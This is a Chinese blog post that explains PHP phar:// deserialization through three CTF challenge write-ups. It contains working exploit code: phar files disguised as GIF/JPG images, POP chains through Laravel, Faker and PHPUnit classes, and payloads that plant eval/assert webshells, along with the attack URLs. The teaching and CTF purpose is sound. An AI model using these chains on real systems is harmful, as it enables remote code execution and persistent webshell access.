Yoga7xm's Blog

PHP反序列化之phar

字数统计: 2.9k阅读时长: 13 min
2019/06/04 Share

前言

准备分析phpbbs反序列化的那个洞,正好是用phar协议反序列化操作然后去构造POP链RCE的,所以提前借助几个CTF题来熟悉下手法和思路

Phar

查看PHP文档对phar协议的简介

Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server. Phar is kind of like a thumb drive for PHP applications.

phar文件就是php的一种压缩文档,在不解压的情况下还是能够被php访问执行的。phar://就是类似与file://的流包装器

Phar文件结构

四部分构成

  • stub:phar文件标识,以 __HALT_COMPILER();?>结尾
  • manifest:压缩文件的属性等信息,以序列化的形式存储自定义的meta-data
  • contents:压缩文件的内容
  • signature:签名,在文件末尾

Demo

前提将php.ini中的phar.readonly置为Off,否则无法生成phar文件,而且这个参数是无法通过ini_set()进行修改的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
class DemoObject{
public $data;
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀必须为phar
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER();"); //设置Stub
$obj = new DemoObject();
$obj ->data = 'demo';
$phar->setMetadata($obj); //将obj对象存入manifest
$phar->addFromString("test.test","test");//添加要压缩的文件
$phar->stopBuffering();//自动计算签名

执行就能生成一个标准的phar文件

这里的stub的开头是没有限制的,可以伪造图片文件或者其他文件来绕过一些上传限制

phar文件的读取是通过phar协议去读取的,在读取phar文件的时候,文件内容会转换为对象,也就是说Meata-data数据块中的内容会被反序列。

1
2
3
4
5
6
7
8
<?php 
class DemoObject{
public $data;
function __destruct(){
echo $this->data;
}
}
file_get_contents('phar://phar.phar/test.txt');

同样的执行,成功执行析构函数

seaii师傅给出了受影响的函数:

也就是说,这些函数使用phar协议的时候,都会默认将phar文件内容进行反序列化操作,而不用unserialize()。所以通过构造phar文件,结合phar://协议,配合这些函数,就能实现反序列操作

利用条件

  1. phar文件要能够上传至服务器
  2. 文件操作函数参数可控,且phar://特殊字符未被过滤
  3. 要有可用的魔术方法作为跳板去构造POP链

CTF例题

Exapmle 1

来源2018柏鹭杯

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if (isset($_GET['filename'])) {
$filename = $_GET['filename'];
class MyClass{
var $output = 'echo "success";';
function __destruct(){
eval($this->output);
}
}
file_exists($filename);
}else{
highlight_file(__FILE__);
}

利用思路:只要本地构造phar文件,然后改后缀名为为jpg,然后利用上传点上传至网站,拿到路径,然后GET传入phar协议包含该文件即可

1
2
3
4
5
6
7
8
9
10
11
<?php
class MyClass{
var $output = '@assert($_POST[cmd]);';
}
$obj = new MyClass;
$phar = new Phar("ctf1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<php __HALT_COMPILER();");
$phar->setMetadata($obj);
$phar->addFromString("poc.txt","poc");
$phar->stopBuffering();


Exapmle 2

来源HITCON2017 的 Baby^H Master PHP 2017,第一次使用Phar协议,算是比较经典的题

Docker环境:传送门

访问http://192.168.1.101:8000拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}

class Admin extends User {
function __destruct() {
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
. "}");
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
die("Bye");
}

if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
die("Bye Bye");
}

$data = unserialize($data);
if (!isset($data->avatar)) {
die("Bye Bye Bye");
}

return $data->avatar;
}

function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a") {
die("Fuck off");
}

file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}

function show($path) {
if (!file_exists($path . "/avatar.gif")) {
$path = "/var/www/html";
}

header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload") {
upload(check_session());
} else if ($mode == "show") {
show(check_session());
} else {
highlight_file(__FILE__);
}

从源码关键部分可以看出,$flag是通过create_funtion()创建的匿名函数,需要实例化一个Admin类然后通过触发析构函数来调用匿名函数拿到Flag。但是$random的值又无从知晓,所以又得通过$_GET['luck']()传递匿名函数名来调用。关于匿名函数名,

格式为\x00lambda_%d,%d是从1一直开始递增的,表示这是当前进程中第几个匿名函数。其实也不好控制,但是涉及到Apache默认模型
Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求,Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求。

当开启新进程去处理请求的时候,%d就是从1开始的,就可以通过lucky=%00lambda_1调用函数拿到Flag。

来看upload(),构造phar文件时stub需要从GIF89a开始,并且命名为avatar.gif

1
2
3
4
5
6
7
function upload($path) { 
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a")
die("Fuck off");
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}

生成phar文件:poc.php,放在web根目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class User{
public $avatar;
}

class Admin extends User{

}
$obj = new Admin();
$phar = new Phar("avatar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("poc.txt","exp");
$phar->stopBuffering();
rename(__DIR__.'/avatar.phar',__DIR__.'/avatar.gif');

然后访问http://192.168.1.101:8000/?m=upload&url=http://172.17.0.1将phar文件上传至服务器,若返回Upload OK,服务器会根据cookie中的值存入相应的文件夹中(/var/www/data/b6512723526738b72a623830a553be0a/avatar.gif)。

接下来,需要通过大量请求,使得apache重新开一个新线程

1
http://192.168.1.101:8000/?m=upload&lucky=%00lambda_1&url=phar:///var/www/data/b6512723526738b72a623830a553be0a/avatar.gif

这里使用burp的Intruder模块,大量访问URL即可拿到Flag


Exapmle 3

来源p牛的Code-breaking lumenserial

Docker环境:传送门

要求PHP >= 7.1.3

拿到源码,可以看出是一个Laravel框架的,然后在/routes/web.php下可以查看路由设置

1
2
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

访问/server/editor就可以会调用app/Http/Controllers/EditorController类的main()

来看main()方法主体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function main(Request $request)
{
$action = $request->query('action');

try {
if (is_string($action) && method_exists($this, "do{$action}")) {
return call_user_func([$this, "do{$action}"], $request);
} else {
throw new FileException('Method error');
}
} catch (FileException $e) {
return response()->json(['state' => $e->getMessage()]);
}
}

这里可以通过传入的action参数去调用其他方法,这里找到了一个download()

1
2
3
4
5
6
7
8
9
10
11
private function download($url)
{
$maxSize = $this->config['catcherMaxSize'];
$limitExtension = array_map(function ($ext) {
return ltrim($ext, '.');
}, $this->config['catcherAllowFiles']);
$allowTypes = array_map(function ($ext) {
return "image/{$ext}";
}, $limitExtension);
$content = file_get_contents($url);
$img = getimagesizefromstring($content);

这里$url没有经过任何过滤等处理就直接进行file_get_contents()的调用,假如url可控就可以用来phar反序列化操作。回溯$url,是类中doCatchimage进行调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];

if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}

return response()->json([
'state' => 'SUCCESS',
'list' => $rets
]);
}

url是从可以直接从外部赋值的,然后找到\resources\editor\config.json文件中catcherFieldName值为source,所以可以通过?source[]的方式调用phar协议

利用phpggc中的EXP1,分析下它的POP链

\Illuminate\Broadcasting\PendingBroadcast::__destruct()开始的

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

链式调用$this->events的dispatch方法,由于Genreator类中不存在该方法,所以就会调用\Faker\Generator::__call()方法

1
2
3
4
 public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

跟进format()

1
2
3
4
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

这里动态调用函数,$arguments是可控的,只要getFormatter()的结果是可控的就能够RCE,于是跟进getFormatter()

这里只要存在$this->formatters[$formatter])就返回它自身,通过构造方法中给其赋值,从而RCE。

借用下七月火师傅的调用过程图

这里通过phpggc生成phpinfo()的

1
2
➜  phpggc git:(master) ./phpggc -b Laravel/RCE1 phpinfo 1
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjc6InBocGluZm8iO319czo4OiIAKgBldmVudCI7czoxOiIxIjt9

然后本地生成phar文件并改后缀名为jpg

1
2
3
4
5
6
7
8
9
10
11
<?php 
$payload = 'Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjc6InBocGluZm8iO319czo4OiIAKgBldmVudCI7czoxOiIxIjt9';
$obj = unserialize(base64_decode($payload));
@unlink("info.phar");
$phar = new Phar("info.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<php __HALT_COMPILER();");
$phar->setMetadata($obj);
$phar->addFromString("test.test","test");
$phar->stopBuffering();
rename(__DIR__.'/info.phar',__DIR__.'/info.jpg');

然后上传至服务器拿到路径,执行payload

1
http://192.168.1.101:8001/server/editor?action=Catchimage&source[]=phar://upload/image/94eac188bbb9a6119d58f125dfad1c7a/201906/09/439c1aa9b06109ad435b.gif

禁用了许多系统函数和类

1
2
3
4
5
disable_functions:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator

只能通过file_put_contents()写一句话了,只能去寻找新的POP链了,不过依旧从__destruct()入手,找可用的__call()方法

找到fzaninotto\faker\src\Faker\ValidGenerator::__call()

这里有两个动态调用的函数,第一函数中$name是固定的dispatch,后者第一个参数是可控的,$res取决于第一个函数的执行结果。所以要想$res可控,必须得找到一个类的构造方法使其返回的值可控

找到fzaninotto\faker\src\Faker\DefaultGenerator::__construct()

1
2
3
4
5
6
7
8
9
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
.....

这里的直接返回$default,完全可控。所以在之前的call_user_func()是能够执行任意类方法的。要通过file_put_contents()写入一句话,需要两个参数,也是就得通过调用其他类的call_user_func_array()

找到PHPUnit\Framework\MockObject\Stub\ReturnCallback::invoke()

1
2
3
4
public function invoke(Invocation $invocation)
{
return \call_user_func_array($this->callback, $invocation->getParameters());
}

这里call_user_func_array()两个参数都是可控的,后者是一个Invocation接口,所以需要一个实现类

找到\PHPUnit\Framework\MockObject\Invocation\StaticInvocation::getParameters()

1
2
3
4
public function getParameters(): array
{
return $this->parameters;
}

是完全可控的,至此POP链构造完成了,借用七月火师傅的调用图

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct()
{
$this->events = new \Faker\ValidGenerator();
$this->event = 'exp';
}

}
}

namespace Faker{

class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;

public function __construct()
{
$this->generator = new DefaultGenerator();
$this->validator = array(new \PHPUnit\Framework\MockObject\Stub\ReturnCallback(),'invoke');
$this->maxRetries = 200;
}

}

class DefaultGenerator{
protected $default;
public function __construct()
{
$this->default = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation();
}
}
}

namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback{
private $callback;
public function __construct()
{
$this->callback = 'file_put_contents';
}

}
}

namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
private $parameters;
public function __construct()
{
$this->parameters = array('/var/www/html/upload/exp.php','<?php phpinfo();@eval($_POST[cmd]);');//只有upload文件有写入权限
}
}
}
namespace{
$obj = new Illuminate\Broadcasting\PendingBroadcast();
@unlink('exp.phar');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("poc.txt","exp");
$phar->stopBuffering();
}

将生成的phar文件改为jpg然后上传,拿到图片路径,再执行

1
http://192.168.1.101:8001/server/editor?action=Catchimage&source[]=phar://upload/image/94eac188bbb9a6119d58f125dfad1c7a/201906/09/a49548b40cca9b3ea383.gif

然后访问http://192.168.1.101:8001/upload/exp.php,成功写入一句话

总结

随着Phar反序列化的出现,框架写的程序中文件操作函数使用比较频繁,所以反序列的点也越多,而且POP链的寻找也是至关重要的,对反序列化又加深了认识理解。

Reference

https://paper.seebug.org/680/#31

https://mochazz.github.io/2019/02/06/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8B%E5%AF%BB%E6%89%BEPOP%E9%93%BE%EF%BC%88%E4%B8%80%EF%BC%89/

https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://xz.aliyun.com/t/1773

CATALOG
  1. 1. 前言
  2. 2. Phar
    1. 2.1. Phar文件结构
    2. 2.2. Demo
    3. 2.3. 利用条件
  3. 3. CTF例题
    1. 3.1. Exapmle 1
    2. 3.2. Exapmle 2
    3. 3.3. Exapmle 3
  4. 4. 总结
  5. 5. Reference